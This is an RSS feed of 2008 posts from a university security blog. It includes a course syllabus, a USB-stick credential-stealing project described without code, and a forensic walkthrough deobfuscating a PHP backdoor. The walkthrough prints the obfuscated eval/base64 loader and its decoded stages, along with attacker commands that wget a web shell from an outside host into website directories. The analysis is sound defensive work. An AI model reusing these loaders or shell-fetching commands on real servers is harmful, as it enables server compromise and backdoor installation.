<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:creativeCommons="http://backend.userland.com/creativeCommonsRssModule"
>

<channel>
	<title>ISIS &#187; Targeted Attacks</title>
	<atom:link href="http://isisblogs.poly.edu/category/targeted-attacks/feed/" rel="self" type="application/rss+xml" />
	<link>http://isisblogs.poly.edu</link>
	<description>Information Systems and Internet Security</description>
	<lastBuildDate>Mon, 20 Oct 2008 17:57:50 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.5</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<creativeCommons:license>http://creativecommons.org/licenses/by/3.0/us/</creativeCommons:license>
		<item>
		<title>Fall Penetration Testing and Exploit-Dev course</title>
		<link>http://isisblogs.poly.edu/2008/08/24/fall-penetration-testing-and-exploit-dev-course/</link>
		<comments>http://isisblogs.poly.edu/2008/08/24/fall-penetration-testing-and-exploit-dev-course/#comments</comments>
		<pubDate>Sun, 24 Aug 2008 17:00:05 +0000</pubDate>
		<dc:creator>dan</dc:creator>
				<category><![CDATA[Exploits]]></category>
		<category><![CDATA[Meta]]></category>
		<category><![CDATA[Reverse Engineering]]></category>
		<category><![CDATA[Social Engineering]]></category>
		<category><![CDATA[Targeted Attacks]]></category>
		<category><![CDATA[Web]]></category>

		<guid isPermaLink="false">http://isisblogs.poly.edu/?p=158</guid>
		<description><![CDATA[This year&#8217;s Penetration Testing and Exploit Development course (Fall 2008) will contain completely rewritten course material, guest lectures from leading security professionals, and free access to commercial tools provided by Fortify Software and Matta (thank you!). Additionally, the class will be held on-campus rather than online as it has been.
The instructor for the course is [...]]]></description>
			<content:encoded><![CDATA[<p>This year&#8217;s Penetration Testing and Exploit Development course (Fall 2008) will contain completely rewritten course material, guest lectures from leading security professionals, and free access to commercial tools provided by <a href="http://www.fortify.com/">Fortify Software</a> and <a href="http://trustmatta.com/">Matta</a> (thank you!). Additionally, the class will be held on-campus rather than online as it has been.</p>
<p>The instructor for the course is Nasir Memon with TA&#8217;s Dan Guido (me) and Vikram Padman. The syllabus has been finalized and the guest professors as well as their respective topics are as follows:</p>
<ul>
<li> Sept 4th &#8212; Introduction and <a href="http://isis.poly.edu/csaw/">CSAW</a>, <a href="http://cryptocity.net/">Dan Guido</a></li>
<li> Sept 11th &#8212; Source Code Analysis, <a href="http://cryptocity.net/">Dan Guido</a><a href="http://cryptocity.net/" target="_blank"></a></li>
<li> Sept 18th &#8212; Reverse Engineering, <a href="http://twitter.com/s7ephen">Stephen A. Ridley</a><a href="http://www.sa7ori.org/" target="_blank"></a></li>
<li> Sept 25th &#8212; Reverse Engineering, <a href="http://twitter.com/s7ephen">Stephen A. Ridley</a><a href="http://www.sa7ori.org/" target="_blank"></a></li>
</ul>
<ul>
<li> October 2nd &#8212; Overflows, <a href="http://theta44.org/">Dino Dai Zovi</a></li>
<li> October 9th &#8212; Overflows, <a href="http://theta44.org/">Dino Dai Zovi</a></li>
<li> October 16th &#8212; TAKE-HOME MIDTERM</li>
<li> October 23rd &#8212; Fuzzing,Â <a href="http://schmoil.blogspot.com/">Mike Zusman</a><a href="http://schmoil.blogspot.com/" target="_blank"></a></li>
<li> October 30th &#8212; Fuzzing, <a href="http://schmoil.blogspot.com/">Mike Zusman</a><a href="http://schmoil.blogspot.com/" target="_blank"></a></li>
</ul>
<ul>
<li> November 6th &#8212; Client-side attacks, <a href="http://www.zerodaysolutions.com/">Dean De Beer</a><a href="http://www.zerodaysolutions.com/" target="_blank"></a></li>
<li> November 13th &#8212; Client-side attacks, <a href="http://www.zerodaysolutions.com/">Dean De Beer</a><a href="http://www.zerodaysolutions.com/" target="_blank"></a></li>
<li> November 20th &#8212; Web Hacking, <a href="http://erik.cabetas.com/">Erik Cabetas</a><a href="http://erik.cabetas.com/" target="_blank"></a></li>
<li> November 27th &#8212; Web Hacking, <a href="http://erik.cabetas.com/">Erik Cabetas</a><a href="http://erik.cabetas.com/" target="_blank"></a></li>
</ul>
<ul>
<li> December 4th &#8212; FINAL PROJECTS</li>
<li> December 11th &#8212; hack the planet/show off projects</li>
</ul>
<p>Students will have to complete one homework assignment every two weeks, a take-home midterm, and do a final project of their choosing. Each two week session will contain one full session of Q&amp;A to review the homework associated with it. Extra credit will be given for participating in <a href="http://isis.poly.edu/csaw/">CSAW</a> and <a href="http://www.cs.ucsb.edu/~vigna/CTF/">UCSB iCTF</a>.</p>
<p>Any questions about the course can be e-mailed to me at <a href="mailto:dguido@gmail.com">dguido@gmail.com</a>.</p>
<p>EDIT: The course will be held in room <strong>RH227</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://isisblogs.poly.edu/2008/08/24/fall-penetration-testing-and-exploit-dev-course/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
	<creativeCommons:license>http://creativecommons.org/licenses/by/3.0/us/</creativeCommons:license>
	</item>
		<item>
		<title>Cute + Malicious == Deadly</title>
		<link>http://isisblogs.poly.edu/2008/06/28/cute-malicious-deadly/</link>
		<comments>http://isisblogs.poly.edu/2008/06/28/cute-malicious-deadly/#comments</comments>
		<pubDate>Sat, 28 Jun 2008 09:46:50 +0000</pubDate>
		<dc:creator>aleksey</dc:creator>
				<category><![CDATA[Exploits]]></category>
		<category><![CDATA[Physical Security]]></category>
		<category><![CDATA[Social Engineering]]></category>
		<category><![CDATA[Targeted Attacks]]></category>
		<category><![CDATA[Windows]]></category>

		<guid isPermaLink="false">http://isisblogs.poly.edu/?p=114</guid>
		<description><![CDATA[In a recent (experimental only) project, I followed one of the multiple guides such as this one on how to make a Lego case for a USB stick. To top it off, I loaded the Hak5 Switchblade packages on the sticks. When used with U3 USB autorun technology, these packages allow automatic theft of various [...]]]></description>
			<content:encoded><![CDATA[<p>In a recent (experimental only) project, I followed one of the multiple guides such as <a href="http://www.instructables.com/id/Lego-USB-Stick/">this one</a> on how to make a Lego case for a USB stick. To top it off, I loaded the <a href="http://wiki.hak5.org/wiki/Switchblade_Packages">Hak5 Switchblade</a> packages on the sticks. When used with U3 USB autorun technology, these packages allow automatic theft of various personal data upon insertion of the stick into a Windows computer. Now, doesn&#8217;t this just crush the competition (a regular USB stick lost in the parking lot)?</p>
<p><a href="http://isisblogs.poly.edu/wp-content/uploads/sticks_small.png" rel="lightbox[114]"><img class="aligncenter size-full wp-image-115" src="http://isisblogs.poly.edu/wp-content/uploads/sticks_small.png" alt="The Mona Lisa" width="384" height="285" /></a></p>
<p><span id="more-114"></span></p>
<p>As far as the creation of the case goes, I didn&#8217;t really follow any guides. Pretty much all you have to do is buy a mix of legos and strip a USB stick (leaving only the chip and the metal connector). Then, you have to pick a few legos (I used 3, in two different configurations) the combination of which will house the chip.  You need to cut out some of their insides with a box cutter to place the chip. Then, you need to glue them together with <a href="http://solutions.3m.com/wps/portal/3M/en_US/3M-Super-77/Super77/">3M glue</a>, fill them with transparent construction <a href="http://www.alibaba.com/product-gs/205652014/A_6700_Neutral_Silicone_Structural_Sealant.html">silicone</a> and place the chip inside. Finally, you need to place some more silicon on the chip and cover the bottom hole with flat lego pieces. The color of lego pieces matters. Yellow allowed the USB LED to shine through it. Selection of the USB stick also matters &#8211; I used &#8220;SanDisk Cruzer Micro&#8221; which are medium in size and come loaded with U3.</p>
<p>As far as the Hak5 package goes,  well, I&#8217;m not giving a guide for that. But basically, it works by modifying the U3 binaries and autorun configuration files to execute windows batch files (that are also placed on the same stick) upon insertion of the USB. The scripts provided (payloads) vary form system password stealing to IE history viewing.  The information stolen is saved on the stick itself. Alternatively, there is a way to email it to yourself. Anyway, don&#8217;t pick these up on the street (not that I would part with any <img src='http://isisblogs.poly.edu/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  ).</p>
]]></content:encoded>
			<wfw:commentRss>http://isisblogs.poly.edu/2008/06/28/cute-malicious-deadly/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<creativeCommons:license>http://creativecommons.org/licenses/by/3.0/us/</creativeCommons:license>
	</item>
		<item>
		<title>Just wanted to get this out there</title>
		<link>http://isisblogs.poly.edu/2008/04/10/just-wanted-to-get-this-out-there/</link>
		<comments>http://isisblogs.poly.edu/2008/04/10/just-wanted-to-get-this-out-there/#comments</comments>
		<pubDate>Fri, 11 Apr 2008 03:04:38 +0000</pubDate>
		<dc:creator>dan</dc:creator>
				<category><![CDATA[Exploits]]></category>
		<category><![CDATA[Social Engineering]]></category>
		<category><![CDATA[Targeted Attacks]]></category>

		<guid isPermaLink="false">http://isisblogs.poly.edu/?p=84</guid>
		<description><![CDATA[I&#8217;m sure most of you have read the article in BusinessWeek that turned up on Slashdot regarding the hacker attacks the US government has to deal with. If you haven&#8217;t, you really should read it because despite its obvious inaccuracies (journalists always get something horribly wrong) it&#8217;s got a ton of good information. I liked [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;m sure most of you have read the <a href="http://www.businessweek.com/print/magazine/content/08_16/b4080032218430.htm">article in BusinessWeek</a> that turned up on <a href="http://it.slashdot.org/article.pl?sid=08/04/10/2235215&#038;from=rss">Slashdot</a> regarding the hacker attacks the US government has to deal with. If you haven&#8217;t, you really should read it because despite its obvious inaccuracies (journalists always get <em>something</em> horribly wrong) it&#8217;s got a ton of good information. I liked how they explained exactly how the unknown attacker uses phishing (whaling?) so effectively.</p>
<p>But really, my alterior motive for posting this, was so I could point out this one particularly entertaining paragraph buried in the middle of it:</p>
<blockquote><p>Now, Senate Intelligence Committee Chairman John D. Rockefeller (D-W. Va.) is said to be discreetly informing fellow senators of the Byzantine operation, in part to win their support for needed appropriations, many of which are part of classified &#8220;black&#8221; budgets kept off official government books. Rockefeller declined to comment. In January a Senate Intelligence Committee staffer urged his boss, Missouri Republican Christopher &#8220;Kit&#8221; Bond, the committee&#8217;s vice-chairman, to supplement closed-door testimony and classified documents with a viewing of the movie <em>Die Hard 4</em> on a flight the senator made to New Zealand. In the film, cyber terrorists breach FBI networks, purloin financial data, and bring car traffic to a halt in Washington. Hollywood, says Bond, doesn&#8217;t exaggerate as much as people might think. &#8220;I can&#8217;t discuss classified matters,&#8221; he cautions. &#8220;But the movie illustrates the potential impact of a cyber conflict. Except for a few things, let me just tell you: It&#8217;s credible.&#8221;</p></blockquote>
<p>For the record:</p>
<blockquote><p>&#8220;Except for a few things, let me just tell you: It&#8217;s credible.&#8221;<br />- Senator Christopher &#8220;Kit&#8221; Bond (R-MO) on Die Hard 4</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://isisblogs.poly.edu/2008/04/10/just-wanted-to-get-this-out-there/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<creativeCommons:license>http://creativecommons.org/licenses/by/3.0/us/</creativeCommons:license>
	</item>
		<item>
		<title>Reverse Engineering a PHP &#8220;Virus&#8221;</title>
		<link>http://isisblogs.poly.edu/2008/02/23/reverse-engineering-a-php-virus/</link>
		<comments>http://isisblogs.poly.edu/2008/02/23/reverse-engineering-a-php-virus/#comments</comments>
		<pubDate>Sat, 23 Feb 2008 07:18:44 +0000</pubDate>
		<dc:creator>aleksey</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[Forensics]]></category>
		<category><![CDATA[Reverse Engineering]]></category>
		<category><![CDATA[Targeted Attacks]]></category>
		<category><![CDATA[Web]]></category>

		<guid isPermaLink="false">http://isisblogs.poly.edu/2008/02/23/reverse-engineering-a-php-virus/</guid>
		<description><![CDATA[In a recent incident a school server (not an ISIS server) was compromised. PHP code was injected that listened to and executed commands passed through a POST request with &#8216;www&#8217; user privileges. Some of the commands that were run include id, pwd as well as directory searches and wgets of various files. The compromised machine [...]]]></description>
			<content:encoded><![CDATA[<p>In a recent incident a school server (not an ISIS server) was compromised. PHP code was injected that listened to and executed commands passed through a POST request with &#8216;www&#8217; user privileges. Some of the commands that were run include <em>id, pwd</em> as well as directory searches and <em>wget</em>s of various files. The compromised machine also served as a hop in a pharmacy ad delivery scheme. It redirected HTTP requests for medications to a <em>possible</em> &#8216;mothership&#8217; server. There is evidence that links to our server were posted as ads on websites like MySpace.</p>
<p><a href="http://isisblogs.poly.edu/wp-content/uploads/sample_ads_small.JPG" rel="lightbox[54]"><img src="http://isisblogs.poly.edu/wp-content/uploads/sample_ads_small.JPG" alt="sample_ads" /></a></p>
<p><span id="more-54"></span></p>
<p>This post will focus on describing the deobfuscation process and inner workings of the PHP code that allowed the mentioned functionality. This is not a very hard case of obfuscation. I also suspect that there is a obfuscating tool out there that did this.</p>
<p>You are presented with an obfuscated PHP file. It is only 2 lines, one contains some readable code, and the other is completely obfuscated. Now what? You can execute it, and watch for system calls, filesystem changes, network connections etc. Or, you can deobfuscate it manually and see exactly what it does.</p>
<p><font color="#0000ff"><strong>PARTIAL CODE:</strong></font></p>
<p>** Note, the original file has everything between &lt;?php ?&gt; tags on one line, and everything else on another. The below code is changed for readability.</p>
<pre>
&lt;?php

$OOO0O0O00=__FILE__;
$O00O00O00=__LINE__;
$OO00O0000=3024;

eval( gzuncompress( base64_decode(
'eNplj1dvwjAAhP9MpNgiCGcQEkV5YG/MXi9VhjMgCzsD+PUFtWorVXdPp7tPO
g4jhPBLyPTSjCSAwxh/BQJPbR4aVRBGBNTrHH4X34aeT3IGuJ+pICJJgca/WEG
6Co0X8Xtp+s8icdI4o4QxYFuMqMqHS5zUJYDlNKfAo8Ry/yJkVYMCfx90rWevc
z1N4uNo02qjw3yVyGoNb/Nxujj3Pfvih+Xj1hCl3V6pqOaQ5Zpl0XRWuPqwGZi8
wLc73V5/MByNJ9PZfIGXq/Vmu9sfjqezZTsu8fwgvFyjOEmzG2V5UVb3xxOJkq
w01Zam1xo8hNAgpRWB30PQ+ATAxF8l'
)));
return;
?&gt;

ZS1SnSy7fix0hJOsJgHQjOum3KfA+qjbZD9rzK0Bn0Mox055+qOlyP3NXGsN+N
n1s9TENweIiWrKaJuwjxWBQ1J7fyrY00bzj7nCW/f/63pqGxNSK7x8a2Dqy7y7
H+6/GWbanfTv9jvS1GGD9piUEOUb/eBfmgHXPHxCXCYZo6cPHCeoQEyh3Gm
Eau3z0i5sOeQNGynhwwKBes2XIjNPrsPSut4/Bz8AAE4KN4PdusO/v4OI5okUJ
......(skipping many bytes)......
Y9yT5MATh+TOXU8==</pre>
<p><em><br />
** Complete PHP file provided per request</em></p>
<p><font color="#0000ff"><strong>OBFUSCATION TECHNIQUES USED:</strong></font></p>
<p>(a) Variable name scrambling (e.g. $OO00O00O0, $IIIIIIII1II)<br />
(b) Insertion of NOP (no operation) statements such as:<br />
$LINE_NUM = 1;<br />
while(&#8211;$LINE_NUM) fgets($FILE_HANDLE,1024);<br />
(c) Use of compacting, mapping functions such as:<br />
strtr() or gzuncompress(base64_decode(â€œstringâ€));<br />
(d) Multiple rounds of obfuscation</p>
<p><font color="#0000ff"><strong>DEOBFUSCATION:</strong></font></p>
<p>The first line of the PHP file contains some readable code squeezed into one line. It needs to be made readable by separating it into multiple lines. Notice the eval(gzuncompress(base64_decode(scrambled code)) line. Replacing <em>eval()</em> with a <em>print</em> gets the job done. When the code is run it spits out more code. Now, variable names such as $OOO0O0O00 are replaced with something more useful. The mapping of variables is noted because as more code gets deobfuscated we need to look those up.</p>
<pre>
&lt;?php

$FILE_NAME=__FILE__;    // Mine is "/home/aleksey/php_virus/file.php"
$LINE_NUM=__LINE__;     // It is "1". Explanation below
$SIZE=3024;

$FILE_HANDLE=fopen($FILE_NAME,'rb');
while(--$LINE_NUM) fgets($FILE_HANDLE,1024); // never gets executed
fgets($FILE_HANDLE,4096);    // reads in the first line, advances the file pointer

$CODE=
gzuncompress( base64_decode( strtr(
fread($FILE_HANDLE,368),
'xFCazDBkYJmXHS7A0WMQn36+OTtIoNZEfbjgivyq/12UV4wr8cePRsplKLud9G5h=',
'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
)));

//eval($CODE);
return;
?&gt;</pre>
<p>Explanation:</p>
<p>__FILE__ is the name of the script file currently being parsed. __LINE__ is the number of the line within the current script file. The code opens itself (its own file) for reading in binary mode. Then, there are <em>fgets()</em> commands for 1024 and 4096 bytes. Next, the $CODE variable is assigned a value and evaluated (another round of decryption).</p>
<p><strong>(2) Second round of decryption.</strong></p>
<p>We need to see what the value of $CODE is in cleartext. Once again, there is a &#8220;gzuncompress(base64_decode(&#8221; instruction which is passed the value of <em>strtr()</em> function (not to confuse with <em>strstr()</em>). The <em>strtr()</em> functions prototype is &#8220;string strtr(string $str, string $from, string $to)&#8221;. It returns a copy of &#8220;str&#8221;, translating all occurrences of each character in &#8220;from&#8221;  to the corresponding character in &#8220;to&#8221;. So we have a mapping of some sort. Now comes the complicated part.</p>
<p>The $str is a string of 368 bytes from the original file. But, there are 2 <em>fgets()</em> statements that advance the file handle before the <em>fread()</em> can read in the 368 bytes. The first <em>fgets()</em> is not executed  because in &#8220;while(&#8211;$LINE_NUM) fgets($FILE_HANDLE,1024);&#8221; the value of LINE_NUM is 1. The second <em>fgets()</em> statement,&#8221;fgets($FILE_HANDLE,4096)&#8221; is executed &#8211; it reads in the whole first line of the file. So, the 368 bytes to be used in the strtr call come from the first 368 bytes of the second line in the original php file.</p>
<p>We use those 368 bytes in â€œgzuncompress(base64_decode(strtr(fread(â€œ as the value for <em>fread()</em>. The resulting code with cleaned up variable names is below. Notice, the $CODE is replaced with its value. The replacement is almost the same as the previous code, except there is also an <em>ereg_replace() </em>call.</p>
<pre>
&lt;?php
$FILE_NAME=__FILE__;   // Mine is "/home/aleksey/php_virus/file.php"
$LINE_NUM=__LINE__;    // It is "1".
$SIZE=3024;

$FILE_HANDLE=fopen($FILE_NAME,'rb');
while(--$LINE_NUM) fgets($FILE_HANDLE,1024); // never gets executed
fgets($FILE_HANDLE,4096);

if (!function_exists('gzuncompress')) die('');

$CODE2=
ereg_replace(
'__FILE__',
"'" . $FILE_NAME . "'" ,
gzuncompress( base64_decode( strtr(
fread($FILE_HANDLE,$SIZE),
'xFCazDBkYJmXHS7A0WMQn36+OTtIoNZEfbjgivyq/12UV4wr8cePRsplKLud9G5h=',
'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
))));

fclose($FILE_HANDLE);
//eval($CODE2);
return;
?&gt;</pre>
<p><strong>(3) Third round of decryption:</strong></p>
<p>We now need to figure out the value of $CODE2. The <em>ereg_replace()</em> prototype is &#8220;string ereg_replace  (string $pattern, string $replacement, string $string)&#8221;. It scans &#8220;string&#8221;  for matches to &#8220;pattern&#8221; , then replaces the matched text with &#8220;replacement&#8221;. Right away we notice that &#8220;pattern&#8221; and &#8220;replacement&#8221; are the same thing. So this is another NOP operation. Again the focus is on  &#8220;gzuncompress(base64_decode(strtr(&#8221;. This time, the strtr() takes as its first argument $SIZE bytes from the second line of the original file. Don&#8217;t forget that in the previous round of decryption, the FILE_HANDLE was advanced 368 bytes. And behold, we finally get the (almost) final version of the code!</p>
<p><a href="http://isisblogs.poly.edu/wp-content/uploads/final_still_obfuscated_code.txt" title="code_version1">code_version1</a></p>
<p><strong>(4) Fourth round of deobfuscation.</strong></p>
<p>We finally have some useful PHP code. But part of it is still scrambled. There is another series of &#8220;gzinflate(base64_decode(&#8221; commands in the beginning of this code. I will simply present the results as I have already described what to do. It is worth mentioning that this time you need to do 13 iterations on the same little piece of code to get to the clear text code. This needs to be automated. The stopping condition is when there is no more &#8220;eval(gzinflate(base64_decode(&#8221; commands in the code. A python script like <a href="http://isisblogs.poly.edu/wp-content/uploads/deobfuscate.txt" title="this">this</a> solves the problem.</p>
<p><a href="http://isisblogs.poly.edu/wp-content/uploads/final_deobfuscated_code.txt" title="code_version2">code_version2</a></p>
<p><font color="#0000ff"><strong>SUMMARY</strong></font></p>
<p>So what exactly does the code do?<br />
(a) Executes a command passed in $_POST["I1llI1"]. Could be any system command.<br />
(b) Its mothership is &#8220;hxxp://bessearches.info/virtual/gen.php&#8221;. Queries to our exploited server, such as â€œGET_php_virus?/phentermine/drug-phentermine.htmlâ€ are satisfied by pulling actual information from the mothership and displaying it on exploited server.</p>
<p>What command were run on the infected machine?<br />
There is no way of telling as they were passed in the POST request. But during sniffing phase, the attacker entered the following commands.</p>
<pre>
ls -lidpwd
find /Volumes/SSDrive/websites/SITENAMEHERE/ -user www -print
wget hxxp://www.pharmacy-directs.com/shell2.txt -O /Volumes/SSDrive/websites/SITENAMEHERE/allimages/rma.php
wget hxxp://www.pharmacy-directs.com/shell2.txt -O /Volumes/SSDrive/websites/SITENAMEHERE/unilogo/rma.php
find /Volumes/SSDrive/websites -user www -name "*.php" -ctime -40 -print
cat /Volumes/SSDrive/websites/SITENAMEHERE/images/faculty.php</pre>
<p>So we can see that the attacker was doing some reconnaissance as well as installing other backdoors.</p>
<p><font color="#0000ff"><strong>FOLLOW UP</strong></font></p>
<p>The mothership (<em>hxxp://bessearches.info/virtual/gen.php</em>) is still up. Simply entering this URL spits out  an obfuscated string that looks like the second line of our file, but longer. If I have some free time, I will write a script to do parse it.</p>
<p><font color="#0000ff"><strong>ADDITIONS</strong></font></p>
<p>[2008-02-25] This malware has backdoor and adware functionality and should be classified as such. (thanks <a href="http://schmoil.blogspot.com/" rel="external nofollow">Schmoilito</a>)</p>
]]></content:encoded>
			<wfw:commentRss>http://isisblogs.poly.edu/2008/02/23/reverse-engineering-a-php-virus/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
	<creativeCommons:license>http://creativecommons.org/licenses/by/3.0/us/</creativeCommons:license>
	</item>
		<item>
		<title>Chinese CNO anyone?</title>
		<link>http://isisblogs.poly.edu/2008/01/18/chinese-cno-anyone/</link>
		<comments>http://isisblogs.poly.edu/2008/01/18/chinese-cno-anyone/#comments</comments>
		<pubDate>Fri, 18 Jan 2008 19:35:38 +0000</pubDate>
		<dc:creator>dan</dc:creator>
				<category><![CDATA[Conferences]]></category>
		<category><![CDATA[Reverse Engineering]]></category>
		<category><![CDATA[Targeted Attacks]]></category>
		<category><![CDATA[Viruses]]></category>

		<guid isPermaLink="false">http://isisblogs.poly.edu/2008/01/18/chinese-cno-anyone/</guid>
		<description><![CDATA[While I&#8217;ve been sitting at home, sick for the last few days, I&#8217;ve been trying to keep my mind at least somewhat sharp by watching some light videos here and there. The usual stuff, some TED, some 30 Rock, and I came across this gem I thought many people on this list might be interested [...]]]></description>
			<content:encoded><![CDATA[<p>While I&#8217;ve been sitting at home, sick for the last few days, I&#8217;ve been trying to keep my mind at least somewhat sharp by watching some light videos here and there. The usual stuff, some <a href="http://www.ted.com">TED</a>, some 30 Rock, and I came across this gem I thought many people on this list might be interested in:</p>
<blockquote><p>Crouching Powerpoint, Hidden Trojan: An analysis of targeted attacks from 2005 to 2007<br />
Presented by Maarten Van Horenbeeck of the SANS ISC at the 24th Chaos Communication Congress<br />
<a href="http://events.ccc.de/congress/2007/Fahrplan/events/2189.en.html" target="_blank">http://events.ccc.de/congress<wbr></wbr>/2007/Fahrplan/events/2189.en<wbr></wbr>.html</a></p></blockquote>
<p>See the links at the bottom for presentation materials including a PDF, video, and analysis of actual targeted exploits. I highly recommend the video, the torrent was extremely fast.</p>
<p>Enjoy <img src='http://isisblogs.poly.edu/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://isisblogs.poly.edu/2008/01/18/chinese-cno-anyone/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<creativeCommons:license>http://creativecommons.org/licenses/by/3.0/us/</creativeCommons:license>
	</item>
	</channel>
</rss>
